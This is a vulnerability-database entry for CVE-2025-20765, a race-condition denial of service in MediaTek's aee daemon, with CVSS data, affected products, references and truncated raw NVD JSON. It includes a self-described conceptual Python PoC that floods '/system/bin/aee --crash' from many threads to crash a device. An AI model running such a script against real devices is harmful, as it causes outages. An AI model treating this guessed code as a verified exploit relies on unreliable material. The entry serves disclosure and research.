CVE-2025-20765

Description

In aee daemon, there is a possible system crash due to a race condition. This could lead to local denial of service if a malicious actor has already obtained the System privilege. User interaction is not needed for exploitation. Patch ID: ALPS10190802; Issue ID: MSV-4833.

CVSS Details

CVSS Score

4.7

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:linuxfoundation:yocto:4.0:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:google:android:14.0:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:google:android:15.0:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:google:android:16.0:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:openwrt:openwrt:21.02.0:-:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:mediatek:mt2718:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:h:mediatek:mt2737:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:h:mediatek:mt6739:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:h:mediatek:mt6761:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:h:mediatek:mt6765:-:*:*:*:*:*:*:* - NOT VULNERABLE

MediaTek Android devices with aee daemon versions prior to ALPS10190802 patch

Android Debug Daemon (aee) with MSV-4833 vulnerability

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-20765 PoC - aee daemon Race Condition
# Note: This is a conceptual PoC as actual exploit requires system privileges

import subprocess
import threading
import time
import os

def trigger_aee_daemon():
    """Trigger aee daemon operations to create race condition"""
    # Attempt to trigger crash conditions
    # In real scenario, this would involve specific aee daemon interactions
    try:
        # Example: Trigger multiple crash report generations simultaneously
        for i in range(10):
            subprocess.run(['/system/bin/aee', '--crash'], timeout=1)
            time.sleep(0.01)
    except:
        pass

def main():
    print("CVE-2025-20765 - MediaTek aee daemon Race Condition PoC")
    print("This PoC demonstrates the concept of triggering race conditions")
    print("Actual exploitation requires system-level privileges")
    
    threads = []
    
    # Create multiple threads to trigger race condition
    for i in range(20):
        t = threading.Thread(target=trigger_aee_daemon)
        threads.append(t)
        t.start()
    
    # Wait for all threads to complete
    for t in threads:
        t.join(timeout=5)
    
    print("PoC execution completed")
    print("If system crashes, vulnerability is confirmed")

if __name__ == "__main__":
    main()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-20765
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-20765
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-20765/
[4] VulDB https://vuldb.com/cve/CVE-2025-20765
[5] https://corp.mediatek.com/product-security-bulletin/December-2025

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-20765", "sourceIdentifier": "[email protected]", "published": "2025-12-02T03:16:17.763", "lastModified": "2026-01-12T10:16:14.817", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "In aee daemon, there is a possible system crash due to a race condition. This could lead to local denial of service if a malicious actor has already obtained the System privilege. User interaction is not needed for exploitation. Patch ID: ALPS10190802; Issue ID: MSV-4833."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 4.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-362"}]}, {"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-362"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:linuxfoundation:yocto:4.0:*:*:*:*:*:*:*", "matchCriteriaId": "437D8F9D-67DF-47A5-9C96-5B51D1562951"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:14.0:*:*:*:*:*:*:*", "matchCriteriaId": "2700BCC5-634D-4EC6-AB67-5B678D5F951D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:15.0:*:*:*:*:*:*:*", "matchCriteriaId": "8538774C-906D-4B03-A3E7-FA7A55E0DA9E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:16.0:*:*:*:*:*:*:*", "matchCriteriaId": "2D49E611-5D53-479D-A981-42388FDC0E8D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:openwrt:openwrt:21.02.0:-:*:*:*:*:*:*", "matchCriteriaId": "F0133207-2EED-4625-854F-8DB7770D5BF7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:openwrt:openwrt:23.05.0:-:*:*:*:*:*:*", "matchCriteriaId": "00113669-2850-4F0C-913A-92CA5290746E"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt2718:-:*:*:*:*:*:*:*", "matchCriteriaId": "F5506327-7DDF-4E88-9EA8-10B8E32F848B"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt2737:-:*:*:*:*:*:*:*", "matchCriteriaId": "9C2A1118-B5F7-4EF5-B329-0887B5F3430E"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6739:-:*:*:*:*:*:*:*", "matchCriteriaId": "7FA8A390-9F52-4CF3-9B45-936CE3E2B828"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6761:-:*:*:*:*:*:*:*", "matchCriteriaId": "F726F486-A86F-4215-AD93-7A07A071844A"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6765:-:*:*:*:*:*:*:*", "matchCriteriaId": "43E779F6-F0A0-4153-9A1D-B715C3A2F80E"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6768:-:*:*:*:*:*:*:*", "matchCriteriaId": "06CD97E1-8A76-48B4-9780-9698EF5A960F"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6781:-:*:*:*:*:*:*:*", "matchCriteriaId": "C4EEE021-6B2A-47A0-AC6B-55525A40D718"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6789:-:*:*:*:*:*:*:*", "matchCriteriaId": "8B9B0D82-82C1-4A77-A016-329B99C45F49"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6833:-:*:*:*:*:*:*:*", "matchCriteriaId": "9814939B-F05E-4870-90C0-7C0F6BAAEB39"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6835:-:*:*:*:*:*:*:*", "matchCriteriaId": "19A63103-C708-48EC-B44D-5E465A6B79C5"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6853:-:*:*:*:*:*:*:*", "matchCriteriaId": "366F1912-756B-443E-9962-224937DD7DFB"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6855:-:*:*:*:*:*:*:*", "matchCriteriaId": "89AFEE24-7AAD-4EDB-8C3E-EDBA3240730A"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6877:-:*:*:*:*:*:*:*", "matchCriteriaId": "7CA9352F-E9BD-4656-9B7C-4AFEE2C78E58"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6878:-:*:*:*:*:*:*:*", "matchCriteriaId": "855A8046-34ED-4891-ACE5-76AB10AC8D53"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6879:-:*:*:*:*:*:*:*", "matchCriteriaId": "704BE5CE-AE08-4432-A8B0-4C8BD62148AD"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6880:-:*:*:*:*:*:*:*", "matchCriteriaId": "68CF4A7A-3136-4C4C-A795-81323896BE11"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6883:-:*:*:*:*:*:*:*", "matchCriteriaId": "15E2EC3F-9FB3-488B-B1C1-2793A416C755"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6885:-:*:*:*:*:*:*:*", "matchCriteriaId": "DD64413C-C774-4C4F-9551-89E1AA9469EE"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6886:-:*:*:*:*:*:*:*", "matchCriteriaId": "AF3E2B84-DAFE-4E11-B23B-026F719475F5"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6889:-:*:*:*:*:*:*:*", "matchCriteriaI ... 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